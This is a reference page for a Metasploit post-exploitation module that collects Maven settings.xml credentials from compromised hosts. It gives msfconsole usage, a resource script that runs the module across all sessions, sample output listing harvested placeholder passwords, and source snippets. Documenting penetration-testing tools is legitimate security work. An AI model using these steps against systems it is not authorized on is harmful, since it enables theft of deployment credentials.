Multi Gather Maven Credentials Collection - Metasploit


This page contains detailed information about how to use the post/multi/gather/maven_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Multi Gather Maven Credentials Collection
Module: post/multi/gather/maven_creds
Source code: modules/post/multi/gather/maven_creds.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect the contents of all users settings.xml on the targeted machine.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/maven_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/maven_creds
msf post(maven_creds) > show options
    ... show and set options ...
msf post(maven_creds) > set SESSION session-id
msf post(maven_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/maven_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Maven a software project management. This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them. Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or <repository> tag in order to find the full realm the credentials belong to.

This module was successfully tested against:

  • Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
  • Debian 9 and Maven 3.0.5 with shell and meterpreter as session type

Verification Steps


  1. Get a shell or meterpreter session on some host.
  2. Do: use post/multi/gather/maven_creds
  3. Do: set SESSION [SESSION_ID]
  4. Do: run
  5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.

Scenarios


Ubuntu 14.04 and Maven version 3.0.5

msf post(maven_creds) > run

[*] Finding user directories
[*] Unix OS detected
[*] Looting 19 files
[*] Downloading /home/user/settings.xml
[*] Reading settings.xml file from /home/user/settings.xml
[*] Collected the following credentials:
[*]     Id: server-nexus-dev
[*]     Username: deploynexus-dev
[*]     Password: password-dev
[*] Try to find url from id...
[*] No url found, id will be set as realm

[*] Collected the following credentials:
[*]     Id: server-nexus-int
[*]     Username: deploynexus-int
[*]     Password: password-int
[*] Try to find url from id...
[*] Found url in mirror : http://www.myhost.com/int

[*] Collected the following credentials:
[*]     Id: server-nexus-prd
[*]     Username: deploynexus-prd
[*]     Password: password-prd
[*] Try to find url from id...
[*] Found url in repository : http://www.myhost.com/prd


msf post(maven_creds) > creds

Credentials
===========

host  origin  service  public              private         realm                        private_type
----  ------  -------  ------              -------         -----                        ------------
                       deploynexus-dev     password-dev    server-nexus-dev             Password
                       deploynexus-int     password-int    http://www.myhost.com/int    Password
                       deploynexus-prd     password-prd    http://www.myhost.com/prd    Password

Go back to menu.

Msfconsole Usage


Here is how the multi/gather/maven_creds post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/maven_creds

msf6 post(multi/gather/maven_creds) > show info

       Name: Multi Gather Maven Credentials Collection
     Module: post/multi/gather/maven_creds
   Platform: BSD, Linux, OSX, Unix, Windows
       Arch: 
       Rank: Normal

Provided by:
  elenoir

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect the contents of all users settings.xml on 
  the targeted machine.

Module Options


This is a complete list of options available in the multi/gather/maven_creds post exploitation module:

msf6 post(multi/gather/maven_creds) > show options

Module options (post/multi/gather/maven_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/gather/maven_creds post exploitation module:

msf6 post(multi/gather/maven_creds) > show advanced

Module advanced options (post/multi/gather/maven_creds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/gather/maven_creds module can do:

msf6 post(multi/gather/maven_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/gather/maven_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/maven_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No users directory found


Here is a relevant code snippet related to the "No users directory found" error message:

32:	    # Handle case where locate does not exist (error is returned in first element)
33:	    if files.length == 1 && !directory?(files.first)
34:	      files = []
35:	      paths = enum_user_directories.map { |d| d }
36:	      if paths.nil? || paths.empty?
37:	        print_error("No users directory found")
38:	        return
39:	      end
40:	      paths.each do |path|
41:	        path.chomp!
42:	        file = "settings.xml"

Incompatible platform


Here is a relevant code snippet related to the "Incompatible platform" error message:

61:	    when 'windows'
62:	      files = gatherwin
63:	    when 'unix', 'linux', 'bsd', 'osx'
64:	      files = gathernix
65:	    else
66:	      print_error("Incompatible platform")
67:	    end
68:	    if files.nil? || files.empty?
69:	      print_error("No settings.xml file found")
70:	      return
71:	    end

No settings.xml file found


Here is a relevant code snippet related to the "No settings.xml file found" error message:

64:	      files = gathernix
65:	    else
66:	      print_error("Incompatible platform")
67:	    end
68:	    if files.nil? || files.empty?
69:	      print_error("No settings.xml file found")
70:	      return
71:	    end
72:	    download_loot(files)
73:	  end
74:	

No url found, id will be set as realm


Here is a relevant code snippet related to the "No url found, id will be set as realm" error message:

111:	          print_status("Found url in repository : #{realm}")
112:	        end
113:	      end
114:	
115:	      if realm.blank?
116:	        print_status("No url found, id will be set as realm")
117:	        realm = id
118:	      end
119:	
120:	      print_line("")
121:	

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • elenoir

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.